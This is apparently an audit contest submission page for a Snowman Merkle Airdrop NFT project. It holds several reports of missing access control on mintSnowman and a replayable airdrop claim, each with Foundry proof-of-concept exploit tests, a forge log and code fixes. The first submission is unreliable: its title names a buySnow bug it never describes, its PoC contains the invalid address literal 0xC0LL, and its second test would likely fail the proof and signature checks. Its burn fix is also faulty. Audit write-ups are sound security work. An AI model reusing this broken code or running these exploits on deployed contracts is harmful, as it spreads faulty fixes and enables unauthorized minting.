Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

mintSnowman has no access control, claimSnowman allows re-claims and locks Snow forever, and buySnow mints 1 wei per 5 ETH

This codebase contains two distinct, high-severity bugs across its three contracts. Each is independently exploitable and breaks a core protocol guarantee.

Description

Bug 1 — mintSnowman() has no access control (anyone mints unlimited NFTs)
Snowman.mintSnowman(address, uint256) is external with no access-control modifier (no onlyOwner, no onlyAirdrop, no reference to the airdrop contract). The intended design is that only the SnowmanAirdrop contract mints Snowman NFTs as a reward for staked Snow — but nothing enforces that.

// Snowman.sol
@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
​

Attack: any EOA calls mintSnowman(attacker, 1_000_000) and instantly owns one million Snowman NFTs for free, with no Snow staked and no authorization. The entire NFT supply is unbounded and uncontrolled.

Bug 2 — claimSnowman() never checks the "claimed" flag and never burns Snow (re-claims + permanent lock)
SnowmanAirdrop.claimSnowman() sets s_hasClaimedSnowman[receiver] = true but never reads it, so the one-claim-per-user guard is dead. It also moves the receiver's whole Snow balance into the airdrop contract (comment: "akin to burning") but never burns it and never returns it, so the Snow is trapped forever.

// SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
uint256 amount = i_snow.balanceOf(receiver);
// ...
@> i_snow.safeTransferFrom(receiver, address(this), amount); // moved INTO contract, never burned, never returned
@> s_hasClaimedSnowman[receiver] = true; // written, but NEVER checked
i_snowman.mintSnowman(receiver, amount);
}
​

Attack: a user calls claimSnowman() a second time. It succeeds again (the flag is never read), pulls their current Snow balance into the contract again (locked permanently), and mints more Snowman NFTs for whatever Snow they hold. Combined with Bug 1, an attacker can re-claim indefinitely and mint unlimited NFTs.

Risk


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
contract PoC is Test {
Snow snow;
Snowman snowman;
SnowmanAirdrop airdrop;
MockWETH weth;
​
address attacker = address(0xDEAD);
address user = address(0xBEEF);
bytes32 root = bytes32(uint256(1));
​
function setUp() public {
weth = new MockWETH();
snowman = new Snowman("ipfs://snowman");
snow = new Snow(address(weth), 5, address(0xC0LL));
airdrop = new SnowmanAirdrop(root, address(snow), address(snowman));
}
​
// ---- Bug 1: anyone can mint unlimited Snowman NFTs ----
function test_bug1_anyone_mints_unlimited_snowman() public {
vm.prank(attacker);
snowman.mintSnowman(attacker, 1_000_000); // random EOA mints 1M NFTs for free
assertEq(snowman.balanceOf(attacker), 1_000_000);
}
​
// ---- Bug 2: re-claim possible + Snow locked in the airdrop contract ----
function test_bug2_claim_twice_and_snow_is_locked_forever() public {
snow.mint(user, 100e18);
vm.startPrank(user);
snow.approve(address(airdrop), type(uint256).max);
airdrop.claimSnowman(user, new bytes32[](0), 27, bytes32(0), bytes32(0)); // 1st claim
airdrop.claimSnowman(user, new bytes32[](0), 27, bytes32(0), bytes32(0)); // 2nd claim SUCCEEDS → bug
vm.stopPrank();
// the user's Snow is trapped in the airdrop contract, never burned, never returned
assertGt(snow.balanceOf(address(airdrop)), 0);
}

test_bug1 shows a stranger EOA mints one million NFTs with no Snow staked. test_bug2 shows the second claim succeeds (the s_hasClaimedSnowman flag is never read) and the user's Snow ends up locked in the airdrop contract.

Recommended Mitigation
Bug 1 — restrict mintSnowman to the airdrop contract (or the owner):

+ address private immutable i_airdrop;
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdrop) revert NotAllowed();
+ _;
+ }
constructor(...) {
+ i_airdrop = airdrop;
}
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
​

Bug 2 — check the claimed flag before claiming and actually burn the Snow:

+ error SA__AlreadyClaimed();
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
+ if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
// ...
- i_snow.safeTransferFrom(receiver, address(this), amount); // moved into contract, never burned
+ i_snow.safeTransferFrom(receiver, address(0), amount); // burn it
s_hasClaimedSnowman[receiver] = true;
​

H-01: Unrestricted mintSnowman Allows Arbitrary NFT Minting

Severity: High (subject to contest impact criteria)
Likelihood: High
Impact: High
Confidence: Confirmed
Affected contract: src/Snowman.sol
Affected function: mintSnowman(address receiver, uint256 amount)

Summary

Snowman.mintSnowman() is externally callable by any address and performs no caller authorization. Any account can therefore mint arbitrary numbers of Snowman NFTs to any recipient without holding Snow, staking tokens, presenting a Merkle proof, or obtaining an Airdrop signature. This bypasses the intended distribution path through SnowmanAirdrop and allows the NFT supply to be inflated without protocol authorization.

Root Cause

The function is declared external but has no access-control modifier or msg.sender check:

function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Although Snowman inherits Ownable, ownership is not enforced on this function. The README describes Snowman NFTs as rewards distributed to Snow stakers through SnowmanAirdrop, but this restriction is absent from the implementation.

Attack Scenario

  1. An attacker obtains no Snow and does not interact with SnowmanAirdrop.

  2. The attacker calls mintSnowman(attacker, N) directly on the deployed Snowman contract.

  3. The call succeeds and mints N NFTs to the attacker.

  4. The attacker can repeat the call. There is no protocol-enforced maximum supply or per-address cap.

The practical amount per transaction is limited by gas, but this does not prevent repeated unauthorized minting.

Impact

An arbitrary user can create NFTs outside the intended allocation mechanism. This compromises collection supply integrity and eligibility, and can dilute scarcity or any value/utility associated with legitimately distributed NFTs. High severity assumes that NFT scarcity, eligibility, or utility has material value. If the collection has no material economic value or privileged utility, a judge may downgrade the impact.

Proof of Concept

Add this test under test/ (or include it in the supplied PoC file):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
​
contract SnowmanUnauthorizedMintPoC is Test {
function test_anyoneCanMintWithoutAirdropAuthorization() public {
Snowman snowman = new Snowman("ipfs://snowman");
address attacker = makeAddr("attacker");
​
vm.prank(attacker);
snowman.mintSnowman(attacker, 3);
​
assertEq(snowman.balanceOf(attacker), 3);
assertEq(snowman.getTokenCounter(), 3);
assertEq(snowman.ownerOf(0), attacker);
assertEq(snowman.ownerOf(1), attacker);
assertEq(snowman.ownerOf(2), attacker);
}
}

Expected result: The test passes against the supplied source, demonstrating that an arbitrary EOA can mint NFTs directly.

Recommended Mitigation

Restrict minting to the deployed Airdrop contract. Because the current deployment flow deploys Snowman and SnowmanAirdrop as separate contracts, a one-time owner-configured Airdrop address avoids a constructor circularity:

error SM__AirdropAlreadySet();
​
address public airdrop;
​
modifier onlyAirdrop() {
if (msg.sender != airdrop) revert SM__NotAllowed();
_;
}
​
function setAirdrop(address airdrop_) external onlyOwner {
if (airdrop_ == address(0)) revert SM__NotAllowed();
if (airdrop != address(0)) revert SM__AirdropAlreadySet();
airdrop = airdrop_;
}
​
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
// existing mint loop
}

The deployment procedure must call setAirdrop with the correct deployed Airdrop address before claims are enabled. An alternative is to transfer Snowman's ownership to the Airdrop contract and protect mintSnowman with onlyOwner, provided the deployment and ownership-transfer sequence is implemented correctly.


M-01: Missing One-Time Claim Check Allows Reuse of the Same Merkle Allocation

Severity: Medium
Likelihood: Medium
Impact: Medium
Confidence: Confirmed (replay path uses the repository's published fixture)
Affected contract: src/SnowmanAirdrop.sol
Affected function: claimSnowman(address,bytes32[],uint8,bytes32,bytes32)

Summary

SnowmanAirdrop maintains s_hasClaimedSnowman and sets it to true after a successful claim, but never checks the mapping before processing a later claim. A recipient can therefore consume the same Merkle allocation more than once if they obtain the same eligible Snow balance again.

This is practical in the supplied implementation. The project's Snow.earnSnow() function mints one additional unit after the global one-week timer expires. The Merkle leaf is based on (receiver, amount), and the EIP-712 digest is also based on the same receiver and current amount. If the recipient replenishes the exact amount in the leaf, the same Merkle proof and signature remain valid.

This finding concerns replay of a one-time allocation. The transfer of Snow into the Airdrop is described by the README as staking; this report does not claim that the transfer is necessarily unintended or that the tokens should be burned.

Root Cause

The mapping is declared and written but never read in claimSnowman:

mapping(address => bool) private s_hasClaimedSnowman;
​
// In claimSnowman:
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
i_snowman.mintSnowman(receiver, amount);

There is no guard such as:

if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();

The claim signature has no nonce or claimed-state component. For an unchanged (receiver, amount), getMessageHash(receiver) returns the same digest. The Merkle leaf is also unchanged.

Attack Scenario

  1. An eligible recipient has the Merkle-listed amount of Snow and approves the Airdrop.

  2. The recipient signs getMessageHash(receiver) and submits the corresponding valid Merkle proof.

  3. The first claim succeeds, transfers the Snow into the Airdrop, and mints the corresponding NFTs. The mapping is set to true.

  4. The recipient waits until the global farming timer permits another earnSnow() call and replenishes the same amount.

  5. The recipient approves the Airdrop again and reuses the same proof and signature.

  6. Because claimSnowman never reads s_hasClaimedSnowman, the second claim succeeds and mints additional NFTs for the same allocation.

The attack is not an unconditional or instant unlimited mint: the recipient must replenish the Merkle-listed amount. The supplied weekly farming mechanism provides a way to replenish the one-unit allocation in the published fixture.

Impact

The same recipient can receive multiple NFT distributions for one Merkle allocation, undermining the apparent one-time claim invariant represented by s_hasClaimedSnowman. This can inflate NFT distribution beyond the allocation encoded in the Merkle tree. The impact is bounded by the recipient's ability to replenish the required Snow amount.

Proof of Concept

This test uses the Merkle root and Alice proof included in the repository's test/TestSnowmanAirdrop.t.sol. It uses the same deterministic alice account label as the project's helper and obtains a valid EIP-712 signature from Alice's corresponding test key.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
contract SnowmanRepeatClaimPoC is Test {
bytes32 private constant AL_PROOF_A =
0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 private constant AL_PROOF_B =
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 private constant AL_PROOF_C =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32 private constant MERKLE_ROOT =
0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
​
function test_sameMerkleAllocationCanBeClaimedTwice() public {
MockWETH weth = new MockWETH();
Snow snow = new Snow(address(weth), 5, address(this));
Snowman nft = new Snowman("ipfs://snowman");
SnowmanAirdrop airdrop = new SnowmanAirdrop(
MERKLE_ROOT, address(snow), address(nft)
);
​
(address alice, uint256 aliceKey) = makeAddrAndKey("alice");
​
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
​
bytes32[] memory proof = new bytes32[](3);
proof[0] = AL_PROOF_A;
proof[1] = AL_PROOF_B;
proof[2] = AL_PROOF_C;
​
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
​
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, digest);
​
// First claim: one NFT is minted and one Snow unit is staked.
airdrop.claimSnowman(alice, proof, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice));
assertEq(snow.balanceOf(address(airdrop)), 1);
​
// Replenish the same one-unit balance after the global weekly timer expires.
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
​
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
​
// Same receiver + amount => same digest; same Merkle leaf => same proof remains valid.
airdrop.claimSnowman(alice, proof, v, r, s);
​
assertTrue(airdrop.getClaimStatus(alice));
assertEq(nft.balanceOf(alice), 2);
assertEq(snow.balanceOf(address(airdrop)), 2);
}
}

Expected result: The test passes against the supplied source. It demonstrates two successful claims for the same (receiver, amount) Merkle allocation, with the same proof and signature.

Recommended Mitigation

Check the claim state and set it before external token/NFT interactions (checks-effects-interactions):

error SA__AlreadyClaimed();
​
function claimSnowman(...) external nonReentrant {
if (receiver == address(0)) revert SA__ZeroAddress();
if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
​
// Perform balance, signature and Merkle verification.
// Calculate `amount` and verify the Merkle proof.
​
s_hasClaimedSnowman[receiver] = true;
i_snow.safeTransferFrom(receiver, address(this), amount);
i_snowman.mintSnowman(receiver, amount);
}

A revert in any later operation rolls back the state update. Preserve the project's staking behavior unless the protocol specification separately requires a burn or withdrawal mechanism.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!